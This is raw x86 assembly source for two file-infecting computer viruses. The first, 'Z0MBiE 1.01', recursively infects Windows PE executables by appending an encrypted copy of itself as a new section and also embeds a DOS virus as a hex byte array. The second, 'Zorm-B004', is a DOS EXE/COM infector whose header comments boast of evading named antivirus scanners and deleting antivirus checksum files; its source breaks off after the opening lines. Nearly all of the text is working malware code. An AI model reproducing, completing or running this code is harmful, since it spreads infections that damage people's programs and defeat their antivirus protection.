call _FindFirstFileA
mov edi, eax
inc eax
jz @@nomorefiles
@@processfile: lea eax, fileattr[ebp]
mov al, [eax]
cmp al, 10h ; directory ?
jne @@findnext
lea edx, fullname[ebp]
cmp byte ptr [edx], '.'
je @@findnext
call setdir
push edi
lea edx, fullname[ebp]
call recinfect
pop edi
lea edx, prev_dir[ebp]
call setdir
@@findnext: lea eax, win32_data_thang[ebp]
push eax
push edi
call _FindNextFileA
or eax, eax
jnz @@processfile
@@nomorefiles: ret
nokerneldll:
nofunction:
exit: jmp $
analizekernel: mov esi, kernel
@@1: ; cmp esi, kernel + 040000h
; ja nokernelfunc
lea edi, kernel_sign[ebp]
mov ecx, kernel_sign_size
rep cmpsb
jne @@1
kernelfound: sub esi, kernel_sign_size
mov kernel_call[ebp], esi
mov esi, kernel
lodsw
cmp ax, 'ZM'
jne nokerneldll
add esi, 003Ch-2
lodsd
lea esi, [esi + eax - 3ch - 4]
lodsd
cmp eax, 'EP'
jne nokerneldll
add esi, 78h-4 ; esi=.edata
lodsd
add eax, kernel + 10h
xchg esi, eax
lodsd
lodsd
lodsd
mov funcnum[ebp], eax
lodsd
add eax, kernel
mov entrypointptr[ebp], eax
lodsd
add eax, kernel
mov nameptr[ebp], eax
lodsd
add eax, kernel
mov ordinalptr[ebp], eax
lea edx, names[ebp]
lea edi, fns[ebp]
@@1: push edi
call findfunction
pop edi
inc edi ; 68
stosd
add edi, 6 ; jmp kernel_call[ebp]
mov edx, esi
cmp byte ptr [esi], 0
jne @@1
ret
findfunction: mov ecx, 12345678h
funcnum equ dword ptr $-4
xor ebx, ebx
findnextfunc: mov esi, edx
mov edi, [ebx + 12345678h]
nameptr equ dword ptr $-4
add edi, kernel
@@2: cmpsb
jne @@1
cmp byte ptr [esi-1], 0
jne @@2
; found
shr ebx, 1
movzx eax, word ptr [ebx + 12345678h]
ordinalptr equ dword ptr $-4
shl eax, 2
mov eax, [eax + 12345678h]
entrypointptr equ dword ptr $-4
add eax, kernel
ret
@@1: add ebx, 4
loop findnextfunc
jmp nofunction
infectdir: lea eax, win32_data_thang[ebp]
push eax
lea eax, exefiles[ebp]
push eax
call _FindFirstFileA
mov searchhandle[ebp], eax
inc eax
jz @@exit
@@next: call infectfile
lea eax, win32_data_thang[ebp]
push eax
push 12345678h
searchhandle equ dword ptr $-4
call _FindNextFileA
or eax, eax
jnz @@next
@@exit: ret
; input: ECX=file attr
; EDX=file
; output: EAX=handle
openfile: push 0
push ecx
push 3 ; OPEN_EXISTING
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
; input: EDX=file
; output: EAX=handle
createfile: push 0
push ecx
push 1 ; CREATE
push 0
push 0
push 80000000h + 40000000h
push edx
call _CreateFileA
mov handle[ebp], eax
ret
seekfile: push 0
push 0
push edx
push handle[ebp]
call _SetFilePointer
ret
closefile: push handle[ebp]
call _CloseHandle
ret
; input: ECX=bytes to read
; EDX=buf
readfile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _ReadFile
ret
; input: ECX=bytes to read
; EDX=buf
writefile: push 0
lea eax, bytesread[ebp]
push eax
push ecx
push edx
push handle[ebp]
call _WriteFile
ret
; input: EDX=offset directory (256 byte)
getdir: cld
push edx
push 255
call _GetCurrentDirectoryA
ret
; input: EDX=directory
setdir: push edx
call _SetCurrentDirectoryA
ret
getwindir: cld
push 255
push edx
call _GetWindowsDirectoryA
ret
infectfile: in al, 82h
cmp al, PORT_ID
jne @@continue
lea eax, fullname[ebp]
cmp dword ptr [eax], 'BM0Z'
jne @@exit
@@continue: mov ecx, fileattr[ebp]
lea edx, fullname[ebp]
call openfile
inc eax
jz @@exit
; goto the dword that stores the location of the pe header
mov edx, 3Ch
call seekfile
; read in the location of the pe header
mov ecx, 4
lea edx, peheaderoffset[ebp]
call readfile
; goto the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in enuff to calculate the full size of the pe header and object table
mov ecx, 256
lea edx, peheader[ebp]
call readfile
; make sure it is a pe header and is not already infected
cmp dword ptr peheader[ebp],'EP'
jne @@close
cmp word ptr peheader[ebp] + 4ch, FILE_ID
je @@close
cmp dword ptr peheader[ebp] + 52, 00400000h
jne @@close
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; read in the whole pe header and object table
lea edx, peheader[ebp]
mov ecx, headersize[ebp]
cmp ecx, maxbufsize
ja @@close
call readfile
mov word ptr peheader[ebp] + 4ch, FILE_ID
; locate offset of object table
xor eax, eax
mov ax, NtHeaderSize[ebp]
add eax, 18h
mov objecttableoffset[ebp],eax
; calculate the offset of the last (null) object in the object table
mov esi, objecttableoffset[ebp]
lea eax, peheader[ebp]
add esi, eax
xor eax, eax
mov ax, numObj[ebp]
mov ecx, 40
xor edx, edx
mul ecx
add esi, eax
inc numObj[ebp] ; inc the number of objects
lea edi, newobject[ebp]
xchg edi,esi
; calculate the Relative Virtual Address (RVA) of the new object
mov eax, [edi-5*8+8]
add eax, [edi-5*8+12]
mov ecx, objalign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov RVA[ebp], eax
; calculate the physical size of the new object
mov ecx, filealign[ebp]
mov eax, viriisize
xor edx, edx
div ecx
inc eax
mul ecx
mov physicalsize[ebp],eax
; calculate the virtual size of the new object
mov ecx, objalign[ebp]
mov eax, virtsize
xor edx,edx
div ecx
inc eax
mul ecx
mov virtualsize[ebp],eax
; calculate the physical offset of the new object
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx, filealign[ebp]
xor edx,edx
div ecx
inc eax
mul ecx
mov physicaloffset[ebp],eax
; update the image size (the size in memory) of the file
mov eax, virtsize
add eax, imagesize[ebp]
mov ecx, objalign[ebp]
xor edx, edx
div ecx
inc eax
mul ecx
mov imagesize[ebp],eax
; copy the new object into the object table
mov ecx, 40/4
rep movsd
; calculate the entrypoint RVA
mov eax, RVA[ebp]
mov ebx, entrypointRVA[ebp]
mov entrypointRVA[ebp], eax
sub eax, ebx
; Set the value needed to return to the host
mov subme[ebp], eax
; go back to the start of the pe header
mov edx, peheaderoffset[ebp]
call seekfile
; write the pe header and object table to the file
mov ecx, headersize[ebp]
lea edx, peheader[ebp]
call writefile
; move to the physical offset of the new object
mov edx, physicaloffset[ebp]
call seekfile
; write the virus code to the new object
call random
mov xorword[ebp], eax
lea edx, start[ebp]
mov ecx, decrsize
call writefile
lea esi, codestart[ebp]
lea edi, buf[ebp]
mov ecx, cryptn
@@1: lodsd
xor eax, xorword[ebp]
neg eax
stosd
loop @@1
lea edx, buf[ebp]
mov ecx, viriisize-decrsize
call writefile
@@close: call closefile
@@exit: ret
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; output: eax=rnd
; zf=rnd(2)
random: call random16bit
shl eax, 16
random16bit: push ebx
mov bx, 1234h
rndword equ word ptr $-2
in al, 40h
xor bl, al
in al, 40h
add bh, al
in al, 41h
sub bl, al
in al, 41h
xor bh, al
in al, 42h
add bl, al
in al, 42h
sub bh, al
mov rndword[ebp], bx
xchg bx, ax
pop ebx
test al, 1
ret
; input: eax
; output: eax=rnd(eax)
; zf=rnd(2)
rnd: push ebx
push edx
xchg ebx, eax
call random
xor edx, edx
div ebx
xchg edx, eax
pop edx
pop ebx
test al, 1
ret
codesize equ $-start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
kernel_sign: pushfd ; <- kernel
cld
push eax
push ebx
push edx
kernel_sign_size equ $-kernel_sign
kernel_call dd ?
names: db 'ExitProcess',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'CreateFileA',0
db 'SetFilePointer',0
db 'ReadFile',0
db 'WriteFile',0
db 'CloseHandle',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetCommandLineA',0
db 'WinExec',0
db 'SetPriorityClass',0
db 'GetModuleHandleA',0
db 0
fns:
def_fn macro name
_&name&: db 68h
fn_&name& dd ?
jmp kernel_call[ebp]
endm
def_fn ExitProcess
def_fn FindFirstFileA
def_fn FindNextFileA
def_fn CreateFileA
def_fn SetFilePointer
def_fn ReadFile
def_fn WriteFile
def_fn CloseHandle
def_fn GetCurrentDirectoryA
def_fn SetCurrentDirectoryA
def_fn GetWindowsDirectoryA
def_fn GetCommandLineA
def_fn WinExec
def_fn SetPriorityClass
def_fn GetModuleHandleA
bytesread dd ?
drive_c db 'C:\',0
drive_d db 'D:\',0
drive_e db 'E:\',0
drive_f db 'F:\',0
exefiles db '*.EXE',0
dirfiles db '*.',0
prev_dir db '..',0
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 'Z0MB.EXE',256-8 dup (0)
realname db 256 dup (0)
handle dd ?
peheaderoffset dd ?
objecttableoffset dd ?
newobject: ;1234567 8
oname db '.Z0MBiE',0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,0c0h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
db 'My 2nd virii for mustdie',13,10
db 'Tnx to S.S.R.',13,10
m1 macro n
if n ge 100000
db n / 10000/10 mod 10 + '0'
else
db '.'
endif
if n ge 10000
db n / 10000 mod 10 + '0'
else
db '.'
endif
if n ge 1000
db n / 1000 mod 10 + '0'
else
db '.'
endif
db n / 100 mod 10 + '0'
db n / 10 mod 10 + '0'
db n / 1 mod 10 + '0',13,10
endm
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
zsetup db '\ZSetUp.EXE',0
z:
include z.inc ; Z0MBiE.1922
z_size equ $-z
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
db 13,10
db 'code..............'
m1 codesize
db 'viriisize.........'
m1 viriisize
db 'virtsize..........'
m1 virtsize
peheader:
signature dd 0
cputype dw 0
numObj dw 0
dd 3 dup (0)
NtHeaderSize dw 0
Flags dw 0
dd 4 dup (0)
entrypointRVA dd 0
dd 3 dup (0)
objalign dd 0
filealign dd 0
dd 4 dup (0)
imagesize dd 0
headersize dd 0
peheader_size equ $-peheader
align 4
viriisize equ $-start
infdir db 256 dup (?)
maxbufsize equ 4096
buf db maxbufsize dup (?)
virtsize equ $-start
end start
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
abc_size equ 1922 ; size in bytes
abc_num equ 1922 ; size in elements
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
db 008h,02dh,010h,000h,08bh,0c8h,087h,00eh,09dh,008h,089h,00eh,04bh,001h,0b9h
db 003h,001h,087h,00eh,09bh,008h,089h,00eh,051h,001h,08bh,0c8h,087h,00eh,095h
db 008h,089h,00eh,041h,001h,0b9h,010h,00ah,087h,00eh,097h,008h,089h,00eh,048h
db 001h,081h,006h,091h,008h,0a1h,000h,083h,006h,08bh,008h,01eh,083h,006h,089h
db 008h,03bh,0c6h,006h,099h,008h,069h,0b8h,000h,042h,059h,05ah,0e8h,0cfh,0feh
db 0e8h,05dh,000h,0b4h,040h,0bah,000h,001h,0b9h,02bh,000h,0e8h,0c1h,0feh,0beh
db 02bh,001h,0bfh,0c7h,008h,0b9h,008h,000h,0ach,092h,0bdh,008h,000h,033h,0c0h
db 0d0h,0e2h,0d1h,0d0h,048h,0aah,04dh,075h,0f5h,0e2h,0eeh,0b4h,040h,0bah,0c7h
db 008h,0b9h,040h,000h,0e8h,09bh,0feh,081h,0feh,0adh,008h,072h,0d7h,0b8h,000h
db 042h,099h,033h,0c9h,0e8h,08ch,0feh,0b4h,040h,0bah,087h,008h,0b9h,040h,000h
db 0e8h,081h,0feh,0b4h,03eh,0e8h,07ch,0feh,007h,01fh,061h,02eh,0c6h,006h,0abh
db 001h,090h,0e8h,0c9h,0fch,0c3h,0bfh,084h,007h,0b0h,0c3h,0aah,0b9h,0fdh,000h
db 033h,0c0h,0f3h,0aah,0c7h,006h,007h,001h,0f6h,0d0h,0b0h,008h,0e6h,070h,0e4h
db 071h,03ch,00ah,075h,028h,0c7h,006h,007h,001h,0b0h,000h,0b8h,009h,000h,0e8h
db 070h,0fch,096h,06bh,0f6h,012h,081h,0c6h,0e2h,006h,0b9h,002h,000h,0adh,097h
db 081h,0c7h,084h,007h,0a4h,0adh,097h,081h,0c7h,084h,007h,066h,0a5h,0e2h,0efh
db 0c3h,060h,01eh,006h,033h,0f6h,08eh,0deh,0c4h,09ch,084h,000h,00bh,0dbh,074h
db 01eh,0b8h,081h,0f0h,0cdh,021h,03dh,08ch,092h,074h,014h,02eh,089h,01eh,00ah
db 003h,02eh,08ch,006h,00ch,003h,0c7h,084h,084h,000h,0f5h,002h,08ch,08ch,086h
db 000h,007h,01fh,061h,0c3h,060h,0bah,034h,012h,032h,0f6h,0c1h,0e2h,004h,08dh
db 07fh,00ch,0b9h,00ah,000h,032h,0c0h,0fch,0f3h,0aeh,075h,033h,0bdh,053h,006h
db 0b9h,00bh,000h,08bh,0f5h,08bh,0fbh,02eh,0ach,03ch,0b0h,074h,004h,03ch,080h
db 073h,005h,026h,038h,005h,075h,011h,047h,0e2h,0eeh,08bh,0fbh,0b0h,0e5h,0aah
db 033h,0c0h,0b9h,01fh,000h,0f3h,0aah,0ebh,009h,083h,0c5h,00bh,081h,0fdh,0e2h
db 006h,075h,0d0h,083h,0c3h,020h,04ah,075h,0bah,061h,0c3h,050h,056h,057h,01eh
db 006h,02eh,0c5h,036h,02bh,003h,068h,034h,012h,007h,0bfh,082h,008h,08ah,004h
db 026h,086h,005h,088h,004h,046h,047h,081h,0ffh,087h,008h,075h,0f1h,007h,01fh
db 05fh,05eh,058h,0c3h,00dh,00ah,00ah,05ah,030h,04dh,042h,069h,045h,060h,031h
db 036h,036h,038h,020h,076h,031h,02eh,030h,030h,020h,028h,063h,029h,020h,031h
db 039h,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,054h,06eh,078h
db 020h,074h,06fh,020h,053h,02eh,053h,02eh,052h,02eh,00dh,00ah,053h,068h,061h
db 064h,06fh,077h,052h,041h,04dh,02fh,056h,069h,072h,074h,075h,061h,06ch,020h
db 050h,072h,06fh,063h,065h,073h,073h,020h,049h,06eh,066h,065h,063h,074h,06fh
db 072h,00dh,00ah,053h,068h,061h,064h,06fh,077h,052h,041h,04dh,020h,054h,065h
db 063h,068h,06eh,06fh,06ch,06fh,067h,079h,020h,028h,063h,029h,020h,031h,039h
db 039h,036h,02ch,039h,037h,020h,05ah,030h,04dh,042h,069h,045h,00dh,00ah,041h
db 044h,049h,04eh,046h,0f9h,0a3h,0a0h,0a2h,0adh,0aeh,041h,049h,044h,053h,0f9h
db 0afh,0aeh,0a3h,0a0h,0adh,0ech,041h,056h,050h,0f9h,0f9h,0e1h,0a0h,0aah,0e1h
db 0f9h,0f9h,057h,045h,042h,0f9h,0f9h,0e3h,0a9h,0aeh,0a1h,0aeh,0aah,044h,052h
db 057h,045h,042h,0f9h,0e2h,0aeh,0a6h,0a5h,0f9h,0f9h,0e5h,0e3h,0a9h,0adh,0efh
db 0f9h,0f9h,0b0h,0b0h,0b0h,0f9h,0a4h,0a5h,0e0h,0ech,0ach,0aeh,0f9h,043h,050h
db 050h,0adh,0a5h,0adh,0a0h,0a2h,0a8h,0a6h,0e3h,043h,020h,020h,053h,02dh,049h
db 043h,045h,0f9h,0e0h,0e3h,0abh,0a5h,0a7h,054h,044h,0f9h,0ach,0a0h,0e1h,0e2h
db 0f9h,0a4h,0a0h,0a9h,044h,045h,042h,055h,047h,0f9h,0f9h,0a3h,0e3h,0a4h,0f9h
db 057h,045h,042h,037h,030h,038h,030h,031h,0edh,0e2h,0aeh,043h,041h,0f9h,0ach
db 0aeh,0f1h,0f9h,0f9h,041h,056h,0f9h,015h,000h,01eh,051h,000h,0f1h,060h,01eh
db 009h,0bdh,000h,0a3h,0f7h,000h,0fah,005h,074h,00bh,006h,000h,0b4h,022h,000h
db 01eh,0f7h,0ebh,0f1h,0b3h,000h,080h,0dfh,000h,024h,016h,002h,03dh,032h,000h
db 01eh,05eh,000h,095h,025h,0b8h,001h,0c5h,000h,033h,0e1h,000h,0e9h,0c9h,004h
db 0b1h,03eh,000h,0fah,05ah,000h,00bh,04ch,013h,08bh,0cdh,000h,080h,0f9h,000h
db 07fh,0dfh,0e0h,059h,009h,000h,02eh,025h,000h,025h,0e5h,009h,0e8h,037h,000h
db 0e8h,063h,000h,0a4h,0f8h,002h,04bh,009h,000h,050h,025h,000h,025h,052h,084h
db 000h,043h,000h,080h,06fh,000h,04eh,09ah,044h,003h,01ah,000h,050h,046h,000h
db 0adh,0cbh,033h,0c0h,085h,000h,0a1h,0a1h,000h,01bh,0fdh,006h,0a3h,036h,000h
db 0b8h,052h,000h,05bh,0c6h,0e0h,050h,0b2h,000h,09ch,0deh,000h,04eh,0e3h,0c9h
db 08eh,007h,000h,08eh,023h,000h,083h,008h,0a2h,002h,0b3h,000h,091h,0dfh,000h
db 059h,0feh,015h,003h,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh,03fh
db 03fh,03fh,03fh
+872
View File
@@ -0,0 +1,872 @@
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛÛÛ\ ÛÛÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ \ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
; ÜÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛÛÛÛÛÛÛÛÛÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\ ÛÛ\
;
;(C)By Dr L. from Lamer Corporation March/July 1998
;
;Description:
; - Name:..........Zorm-B004
; - Mode:..........Direct infector no TSR
; - Target:..........Exe/Com of Msdos (even com of dos7+)
; - Status:..........Not detected by Tbav806,F-prot301,228
; dr.Web,Avp30,nod-ice,findvirus786
; (2nd+ generations)
; - Description:
; This virus infects 2 exe+2 com files when executed.
; Can change of directory by using both dot-dot method
; and the path variable of dos environnment.
; It doesnt contain nasty routines.
; Its twice encrypted and use several anti-emulation
; routines.It doesnt infect command.com and win.com
; of win95.
; It erases most checksums files made by anti-virus
; in the directories where it have found targets to
; infect.
; Anti-lamer routine included :)
;
; - Disclaimer:
; This virus was written for research and educationnal
; purposes.
; Its the 4th version of this serie.
; I have fixed some bugs.
; But one problem still remains:
; This virus can damaged win.com/command.com of
; win31 when executed or maybe all can be fine
; i cant study this problem cause i dont have
; win31!
;
;
; Compile :tasm/m2 ,tlink/t
;
.model tiny ;memory model
.code ;size <65536
org 100h ;its a com file
;-------------------------Beginning---of----loader----------------------
start1:
db 0e9h,1,0 ;jmp 001 byte forward
db 'V' ;infection mark
push ds ;save dx for later
push cs ;set ds=cs
pop ds ;
mov word ptr [_ds],ds ;save original ds for
;later
mov byte ptr [com_virus],0 ;for the first time
;you have to do that
;(read below)
mov bp,0 ;set bp the delta offset
;to zero.No shift to begin
jmp over_there
;---------------------------End-----of------loader----------------------
;----------------------------Beginning--of--virus-----------------------
start:
xor dx,dx ;set dx=0 for stability
mov cx,end_2nd-begin_2nd ;cx=nber of bytes to decrypt
xor ax,ax
int 15h
cmp ah,86h ;thanx to yesna to show me this
